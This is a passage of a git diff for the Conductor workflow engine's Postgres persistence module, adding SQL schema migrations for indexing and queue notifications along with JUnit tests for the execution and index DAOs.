CONSTRAINT IF EXISTS event_execution_pkey; +ALTER TABLE event_execution DROP COLUMN IF EXISTS id; +ALTER TABLE event_execution ADD PRIMARY KEY (event_handler_name, event_name, execution_id); + +-- 12) meta_workflow_def +DROP INDEX IF EXISTS unique_name_version; +ALTER TABLE meta_workflow_def DROP CONSTRAINT IF EXISTS meta_workflow_def_pkey; +ALTER TABLE meta_workflow_def DROP COLUMN IF EXISTS id; +ALTER TABLE meta_workflow_def ADD PRIMARY KEY (name, version); + +-- 13) meta_task_def +DROP INDEX IF EXISTS unique_task_def_name; +ALTER TABLE meta_task_def DROP CONSTRAINT IF EXISTS meta_task_def_pkey; +ALTER TABLE meta_task_def DROP COLUMN IF EXISTS id; +ALTER TABLE meta_task_def ADD PRIMARY KEY (name); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V7__new_qm_index_desc_priority.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V7__new_qm_index_desc_priority.sql new file mode 100644 index 0000000..149dcc4 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V7__new_qm_index_desc_priority.sql @@ -0,0 +1,3 @@ +DROP INDEX IF EXISTS combo_queue_message; + +CREATE INDEX combo_queue_message ON queue_message USING btree (queue_name , priority desc, popped, deliver_on, created_on) \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V8__indexing.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V8__indexing.sql new file mode 100644 index 0000000..cb924fe --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V8__indexing.sql @@ -0,0 +1,47 @@ +CREATE TABLE workflow_index ( + workflow_id VARCHAR(255) NOT NULL, + correlation_id VARCHAR(128) NULL, + workflow_type VARCHAR(128) NOT NULL, + start_time TIMESTAMP WITH TIME ZONE NOT NULL, + status VARCHAR(32) NOT NULL, + json_data JSONB NOT NULL, + PRIMARY KEY (workflow_id) +); + +CREATE INDEX workflow_index_correlation_id_idx ON workflow_index (correlation_id); +CREATE INDEX workflow_index_workflow_type_idx ON workflow_index (workflow_type); +CREATE INDEX workflow_index_start_time_idx ON workflow_index (start_time); +CREATE INDEX workflow_index_status_idx ON workflow_index (status); +CREATE INDEX workflow_index_json_data_json_idx ON workflow_index USING gin(jsonb_to_tsvector('english', json_data, '["all"]')); +CREATE INDEX workflow_index_json_data_text_idx ON workflow_index USING gin(to_tsvector('english', json_data::text)); + +CREATE TABLE task_index ( + task_id VARCHAR(255) NOT NULL, + task_type VARCHAR(32) NOT NULL, + task_def_name VARCHAR(255) NOT NULL, + status VARCHAR(32) NOT NULL, + start_time TIMESTAMP WITH TIME ZONE NOT NULL, + update_time TIMESTAMP WITH TIME ZONE NOT NULL, + workflow_type VARCHAR(128) NOT NULL, + json_data JSONB NOT NULL, + PRIMARY KEY (task_id) +); + +CREATE INDEX task_index_task_id_idx ON task_index (task_id); +CREATE INDEX task_index_task_type_idx ON task_index (task_type); +CREATE INDEX task_index_task_def_name_idx ON task_index (task_def_name); +CREATE INDEX task_index_status_idx ON task_index (status); +CREATE INDEX task_index_update_time_idx ON task_index (update_time); +CREATE INDEX task_index_workflow_type_idx ON task_index (workflow_type); +CREATE INDEX task_index_json_data_json_idx ON workflow_index USING gin(jsonb_to_tsvector('english', json_data, '["all"]')); +CREATE INDEX task_index_json_data_text_idx ON workflow_index USING gin(to_tsvector('english', json_data::text)); + +CREATE TABLE task_execution_logs ( + log_id SERIAL, + task_id varchar(255) NOT NULL, + log TEXT NOT NULL, + created_time TIMESTAMP WITH TIME ZONE NOT NULL, + PRIMARY KEY (log_id) +); + +CREATE INDEX task_execution_logs_task_id_idx ON task_execution_logs (task_id); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V9__indexing_index_fix.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V9__indexing_index_fix.sql new file mode 100644 index 0000000..410d01b --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V9__indexing_index_fix.sql @@ -0,0 +1,12 @@ +-- Drop the unused text index on the json_data column +DROP INDEX CONCURRENTLY IF EXISTS workflow_index_json_data_text_idx; +-- Create a new index to enable querying the json by attribute and value +CREATE INDEX CONCURRENTLY IF NOT EXISTS workflow_index_json_data_gin_idx ON workflow_index USING GIN (json_data jsonb_path_ops); + +-- Drop the incorrectly created indices on the workflow_index that should be on the task_index table +DROP INDEX CONCURRENTLY IF EXISTS task_index_json_data_json_idx; +DROP INDEX CONCURRENTLY IF EXISTS task_index_json_data_text_idx; +-- Create the full text index on the json_data column of the task_index table +CREATE INDEX CONCURRENTLY IF NOT EXISTS task_index_json_data_fulltext_idx ON task_index USING GIN (jsonb_to_tsvector('english', json_data, '["all"]')); +-- Create a new index to enable querying the json by attribute and value +CREATE INDEX CONCURRENTLY IF NOT EXISTS task_index_json_data_gin_idx ON task_index USING GIN (json_data jsonb_path_ops); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres_data/V13.2__workflow_index_backfill_update_time.sql b/postgres-persistence/src/main/resources/db/migration_postgres_data/V13.2__workflow_index_backfill_update_time.sql new file mode 100644 index 0000000..2ffbec3 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres_data/V13.2__workflow_index_backfill_update_time.sql @@ -0,0 +1,4 @@ +-- Optional back-fill script to populate updateTime historically. +UPDATE workflow_index +SET update_time = to_timestamp(json_data->>'updateTime', 'YYYY-MM-DD"T"HH24:MI:SS.MS')::timestamp AT TIME ZONE '00:00' +WHERE json_data->>'updateTime' IS NOT NULL; \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres_notify/V10.1__notify.sql b/postgres-persistence/src/main/resources/db/migration_postgres_notify/V10.1__notify.sql new file mode 100644 index 0000000..7d40d6e --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres_notify/V10.1__notify.sql @@ -0,0 +1,59 @@ +-- This function notifies on 'conductor_queue_state' with a JSON string containing +-- queue metadata that looks like: +-- { +-- "queue_name_1": { +-- "nextDelivery": 1234567890123, +-- "depth": 10 +-- }, +-- "queue_name_2": { +-- "nextDelivery": 1234567890456, +-- "depth": 5 +-- }, +-- "__now__": 1234567890999 +-- } +-- +CREATE OR REPLACE FUNCTION queue_notify() RETURNS void +LANGUAGE SQL +AS $$ + SELECT pg_notify('conductor_queue_state', ( + SELECT + COALESCE(jsonb_object_agg(KEY, val), '{}'::jsonb) || + jsonb_build_object('__now__', (extract('epoch' from CURRENT_TIMESTAMP)*1000)::bigint) + FROM ( + SELECT + queue_name AS KEY, + jsonb_build_object( + 'nextDelivery', + (extract('epoch' from min(deliver_on))*1000)::bigint, + 'depth', + count(*) + ) AS val + FROM + queue_message + WHERE + popped = FALSE + GROUP BY + queue_name) AS sq)::text); +$$; + + +CREATE FUNCTION queue_notify_trigger() + RETURNS TRIGGER + LANGUAGE PLPGSQL +AS $$ +BEGIN + PERFORM queue_notify(); + RETURN NULL; +END; +$$; + +CREATE TRIGGER queue_update + AFTER UPDATE ON queue_message + FOR EACH ROW + WHEN (OLD.popped IS DISTINCT FROM NEW.popped) + EXECUTE FUNCTION queue_notify_trigger(); + +CREATE TRIGGER queue_insert_delete + AFTER INSERT OR DELETE ON queue_message + FOR EACH ROW + EXECUTE FUNCTION queue_notify_trigger(); diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/config/PostgresConfigurationDataMigrationTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/config/PostgresConfigurationDataMigrationTest.java new file mode 100644 index 0000000..0f5167f --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/config/PostgresConfigurationDataMigrationTest.java @@ -0,0 +1,81 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.config; + +import java.util.Arrays; +import java.util.Objects; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.core.io.Resource; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import static org.junit.Assert.assertTrue; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=postgres", + "conductor.postgres.applyDataMigrations=false", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +public class PostgresConfigurationDataMigrationTest { + + @Autowired Flyway flyway; + + @Autowired ResourcePatternResolver resourcePatternResolver; + + // clean the database between tests. + @Before + public void before() { + flyway.migrate(); + } + + @Test + public void dataMigrationIsNotAppliedWhenDisabled() throws Exception { + var files = resourcePatternResolver.getResources("classpath:db/migration_postgres_data/*"); + Arrays.stream(flyway.info().applied()) + .forEach( + migrationInfo -> + assertTrue( + "Data migration wrongly applied: " + + migrationInfo.getScript(), + Arrays.stream(files) + .map(Resource::getFilename) + .filter(Objects::nonNull) + .noneMatch( + fileName -> + fileName.contains( + migrationInfo + .getScript())))); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAOTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAOTest.java new file mode 100644 index 0000000..8ab410b --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAOTest.java @@ -0,0 +1,114 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.util.List; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mockito; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.ExecutionDAOTest; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.postgres.config.PostgresConfiguration; + +import com.google.common.collect.Iterables; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class PostgresExecutionDAOTest extends ExecutionDAOTest { + + @Autowired private PostgresExecutionDAO executionDAO; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.migrate(); + } + + @Test + public void testPendingByCorrelationId() { + + WorkflowDef def = new WorkflowDef(); + def.setName("pending_count_correlation_jtest"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + generateWorkflows(workflow, 10); + + List bycorrelationId = + getExecutionDAO() + .getWorkflowsByCorrelationId( + "pending_count_correlation_jtest", "corr001", true); + assertNotNull(bycorrelationId); + assertEquals(10, bycorrelationId.size()); + } + + @Test + public void testRemoveWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("workflow"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List ids = generateWorkflows(workflow, 1); + + assertEquals(1, getExecutionDAO().getPendingWorkflowCount("workflow")); + ids.forEach(wfId -> getExecutionDAO().removeWorkflow(wfId)); + assertEquals(0, getExecutionDAO().getPendingWorkflowCount("workflow")); + } + + @Test + public void testRemoveWorkflowWithExpiry() { + WorkflowDef def = new WorkflowDef(); + def.setName("workflow"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List ids = generateWorkflows(workflow, 1); + + final ExecutionDAO execDao = Mockito.spy(getExecutionDAO()); + assertEquals(1, execDao.getPendingWorkflowCount("workflow")); + ids.forEach(wfId -> execDao.removeWorkflowWithExpiry(wfId, 1)); + Mockito.verify(execDao, Mockito.timeout(10 * 1000)).removeWorkflow(Iterables.getLast(ids)); + } + + @Override + public ExecutionDAO getExecutionDAO() { + return executionDAO; + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOStatusChangeOnlyTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOStatusChangeOnlyTest.java new file mode 100644 index 0000000..e3c8193 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOStatusChangeOnlyTest.java @@ -0,0 +1,184 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.*; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=postgres", + "conductor.postgres.onlyIndexOnStatusChange=true", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +public class PostgresIndexDAOStatusChangeOnlyTest { + + @Autowired private PostgresIndexDAO indexDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.migrate(); + } + + private WorkflowSummary getMockWorkflowSummary(String id) { + WorkflowSummary wfs = new WorkflowSummary(); + wfs.setWorkflowId(id); + wfs.setCorrelationId("correlation-id"); + wfs.setWorkflowType("workflow-type"); + wfs.setStartTime("2023-02-07T08:42:45Z"); + wfs.setUpdateTime("2023-02-07T08:43:45Z"); + wfs.setStatus(Workflow.WorkflowStatus.RUNNING); + return wfs; + } + + private TaskSummary getMockTaskSummary(String taskId) { + TaskSummary ts = new TaskSummary(); + ts.setTaskId(taskId); + ts.setTaskType("task-type"); + ts.setTaskDefName("task-def-name"); + ts.setStatus(Task.Status.SCHEDULED); + ts.setStartTime("2023-02-07T09:41:45Z"); + ts.setUpdateTime("2023-02-07T09:42:45Z"); + ts.setWorkflowType("workflow-type"); + return ts; + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + public void checkWorkflow(String workflowId, String status, String correlationId) + throws SQLException { + List> result = + queryDb( + String.format( + "SELECT * FROM workflow_index WHERE workflow_id = '%s'", + workflowId)); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals("Wrong status returned", status, result.get(0).get("status")); + assertEquals( + "Correlation id does not match", + correlationId, + result.get(0).get("correlation_id")); + } + + public void checkTask(String taskId, String status, String updateTime) throws SQLException { + List> result = + queryDb(String.format("SELECT * FROM task_index WHERE task_id = '%s'", taskId)); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals("Wrong status returned", status, result.get(0).get("status")); + assertEquals( + "Update time does not match", + updateTime, + result.get(0).get("update_time").toString()); + } + + @Test + public void testIndexWorkflowOnlyStatusChange() throws SQLException { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id"); + indexDAO.indexWorkflow(wfs); + + // retrieve the record, make sure it exists + checkWorkflow("workflow-id", "RUNNING", "correlation-id"); + + // Change the record, but not the status, and re-index + wfs.setCorrelationId("new-correlation-id"); + wfs.setUpdateTime("2023-02-07T08:44:45Z"); + indexDAO.indexWorkflow(wfs); + + // retrieve the record, make sure it hasn't changed + checkWorkflow("workflow-id", "RUNNING", "correlation-id"); + + // Change the status and re-index + wfs.setStatus(Workflow.WorkflowStatus.FAILED); + wfs.setUpdateTime("2023-02-07T08:45:45Z"); + indexDAO.indexWorkflow(wfs); + + // retrieve the record, make sure it has changed + checkWorkflow("workflow-id", "FAILED", "new-correlation-id"); + } + + public void testIndexTaskOnlyStatusChange() throws SQLException { + TaskSummary ts = getMockTaskSummary("task-id"); + + indexDAO.indexTask(ts); + + // retrieve the record, make sure it exists + checkTask("task-id", "SCHEDULED", "2023-02-07 09:42:45.0"); + + // Change the record, but not the status + ts.setUpdateTime("2023-02-07T10:42:45Z"); + indexDAO.indexTask(ts); + + // retrieve the record, make sure it hasn't changed + checkTask("task-id", "SCHEDULED", "2023-02-07 09:42:45.0"); + + // Change the status and re-index + ts.setStatus(Task.Status.FAILED); + ts.setUpdateTime("2023-02-07T10:43:45Z"); + indexDAO.indexTask(ts); + + // retrieve the record, make sure it has changed + checkTask("task-id", "FAILED", "2023-02-07 10:43:45.0"); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOTest.java new file mode 100644 index 0000000..089bbc8 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOTest.java @@ -0,0 +1,739 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.time.Instant; +import java.time.format.DateTimeFormatter; +import java.time.temporal.TemporalAccessor; +import java.util.*; + +import javax.sql.DataSource; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=postgres" + }) +@SpringBootTest +public class PostgresIndexDAOTest { + + @Autowired private PostgresIndexDAO indexDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Before + public void before() { + // Tests share a single database instance; each test scopes its own queries. + } + + private WorkflowSummary getMockWorkflowSummary(String id) { + WorkflowSummary wfs = new WorkflowSummary(); + wfs.setWorkflowId(id); + wfs.setCorrelationId("correlation-id"); + wfs.setWorkflowType("workflow-type"); + wfs.setStartTime("2023-02-07T08:42:45Z"); + wfs.setUpdateTime("2023-02-07T08:43:45Z"); + wfs.setStatus(Workflow.WorkflowStatus.COMPLETED); + return wfs; + } + + private TaskSummary getMockTaskSummary(String taskId) { + TaskSummary ts = new TaskSummary(); + ts.setTaskId(taskId); + ts.setTaskType("task-type"); + ts.setTaskDefName("task-def-name"); + ts.setStatus(Task.Status.COMPLETED); + ts.setStartTime("2023-02-07T09:41:45Z"); + ts.setUpdateTime("2023-02-07T09:42:45Z"); + ts.setWorkflowType("workflow-type"); + return ts; + } + + private TaskExecLog getMockTaskExecutionLog(String taskId, long createdTime, String log) { + TaskExecLog tse = new TaskExecLog(); + tse.setTaskId(taskId); + tse.setLog(log); + tse.setCreatedTime(createdTime); + return tse; + } + + private void compareWorkflowSummary(WorkflowSummary wfs) throws SQLException { + List> result = + queryDb( + String.format( + "SELECT * FROM workflow_index WHERE workflow_id = '%s'", + wfs.getWorkflowId())); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals( + "Workflow id does not match", + wfs.getWorkflowId(), + result.get(0).get("workflow_id")); + assertEquals( + "Correlation id does not match", + wfs.getCorrelationId(), + result.get(0).get("correlation_id")); + assertEquals( + "Workflow type does not match", + wfs.getWorkflowType(), + result.get(0).get("workflow_type")); + TemporalAccessor ta = DateTimeFormatter.ISO_INSTANT.parse(wfs.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(ta)); + assertEquals("Start time does not match", startTime, result.get(0).get("start_time")); + assertEquals( + "Status does not match", wfs.getStatus().toString(), result.get(0).get("status")); + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + private void compareTaskSummary(TaskSummary ts) throws SQLException { + List> result = + queryDb( + String.format( + "SELECT * FROM task_index WHERE task_id = '%s'", ts.getTaskId())); + assertEquals("Wrong number of rows returned", 1, result.size()); + assertEquals("Task id does not match", ts.getTaskId(), result.get(0).get("task_id")); + assertEquals("Task type does not match", ts.getTaskType(), result.get(0).get("task_type")); + assertEquals( + "Task def name does not match", + ts.getTaskDefName(), + result.get(0).get("task_def_name")); + TemporalAccessor startTa = DateTimeFormatter.ISO_INSTANT.parse(ts.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(startTa)); + assertEquals("Start time does not match", startTime, result.get(0).get("start_time")); + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(ts.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + assertEquals("Update time does not match", updateTime, result.get(0).get("update_time")); + assertEquals( + "Status does not match", ts.getStatus().toString(), result.get(0).get("status")); + assertEquals( + "Workflow type does not match", + ts.getWorkflowType().toString(), + result.get(0).get("workflow_type")); + } + + @Test + public void testIndexNewWorkflow() throws SQLException { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-new"); + + indexDAO.indexWorkflow(wfs); + + compareWorkflowSummary(wfs); + } + + @Test + public void testIndexExistingWorkflow() throws SQLException { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-existing"); + + indexDAO.indexWorkflow(wfs); + + compareWorkflowSummary(wfs); + + wfs.setStatus(Workflow.WorkflowStatus.FAILED); + wfs.setUpdateTime("2023-02-07T08:44:45Z"); + + indexDAO.indexWorkflow(wfs); + + compareWorkflowSummary(wfs); + } + + @Test + public void testWhenWorkflowIsIndexedOutOfOrderOnlyLatestIsIndexed() throws SQLException { + WorkflowSummary firstWorkflowUpdate = + getMockWorkflowSummary("workflow-id-existing-no-index"); + firstWorkflowUpdate.setUpdateTime("2023-02-07T08:42:45Z"); + + WorkflowSummary secondWorkflowUpdateSummary = + getMockWorkflowSummary("workflow-id-existing-no-index"); + secondWorkflowUpdateSummary.setUpdateTime("2023-02-07T08:43:45Z"); + secondWorkflowUpdateSummary.setStatus(Workflow.WorkflowStatus.FAILED); + + indexDAO.indexWorkflow(secondWorkflowUpdateSummary); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + + indexDAO.indexWorkflow(firstWorkflowUpdate); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + } + + @Test + public void testWhenWorkflowUpdatesHaveTheSameUpdateTimeTheLastIsIndexed() throws SQLException { + WorkflowSummary firstWorkflowUpdate = + getMockWorkflowSummary("workflow-id-existing-same-time-index"); + firstWorkflowUpdate.setUpdateTime("2023-02-07T08:42:45Z"); + + WorkflowSummary secondWorkflowUpdateSummary = + getMockWorkflowSummary("workflow-id-existing-same-time-index"); + secondWorkflowUpdateSummary.setUpdateTime("2023-02-07T08:42:45Z"); + secondWorkflowUpdateSummary.setStatus(Workflow.WorkflowStatus.FAILED); + + indexDAO.indexWorkflow(firstWorkflowUpdate); + + compareWorkflowSummary(firstWorkflowUpdate); + + indexDAO.indexWorkflow(secondWorkflowUpdateSummary); + + compareWorkflowSummary(secondWorkflowUpdateSummary); + } + + @Test + public void testIndexNewTask() throws SQLException { + TaskSummary ts = getMockTaskSummary("task-id-new"); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + } + + @Test + public void testIndexExistingTask() throws SQLException { + TaskSummary ts = getMockTaskSummary("task-id-existing"); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + + ts.setUpdateTime("2023-02-07T09:43:45Z"); + ts.setStatus(Task.Status.FAILED); + + indexDAO.indexTask(ts); + + compareTaskSummary(ts); + } + + @Test + public void testWhenTaskIsIndexedOutOfOrderOnlyLatestIsIndexed() throws SQLException { + TaskSummary firstTaskState = getMockTaskSummary("task-id-exiting-no-update"); + firstTaskState.setUpdateTime("2023-02-07T09:41:45Z"); + firstTaskState.setStatus(Task.Status.FAILED); + + TaskSummary secondTaskState = getMockTaskSummary("task-id-exiting-no-update"); + secondTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + + indexDAO.indexTask(secondTaskState); + + compareTaskSummary(secondTaskState); + + indexDAO.indexTask(firstTaskState); + + compareTaskSummary(secondTaskState); + } + + @Test + public void testWhenTaskUpdatesHaveTheSameUpdateTimeTheLastIsIndexed() throws SQLException { + TaskSummary firstTaskState = getMockTaskSummary("task-id-exiting-same-time-update"); + firstTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + firstTaskState.setStatus(Task.Status.FAILED); + + TaskSummary secondTaskState = getMockTaskSummary("task-id-exiting-same-time-update"); + secondTaskState.setUpdateTime("2023-02-07T09:42:45Z"); + + indexDAO.indexTask(firstTaskState); + + compareTaskSummary(firstTaskState); + + indexDAO.indexTask(secondTaskState); + + compareTaskSummary(secondTaskState); + } + + @Test + public void testAddTaskExecutionLogs() throws SQLException { + List logs = new ArrayList<>(); + String taskId = UUID.randomUUID().toString(); + logs.add(getMockTaskExecutionLog(taskId, 1675845986000L, "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, 1675845987000L, "Log 2")); + + indexDAO.addTaskExecutionLogs(logs); + + List> records = + queryDb("SELECT * FROM task_execution_logs ORDER BY created_time ASC"); + assertEquals("Wrong number of logs returned", 2, records.size()); + assertEquals(logs.get(0).getLog(), records.get(0).get("log")); + assertEquals(new Date(1675845986000L), records.get(0).get("created_time")); + assertEquals(logs.get(1).getLog(), records.get(1).get("log")); + assertEquals(new Date(1675845987000L), records.get(1).get("created_time")); + } + + @Test + public void testSearchWorkflowSummary() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId=\"%s\"", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void 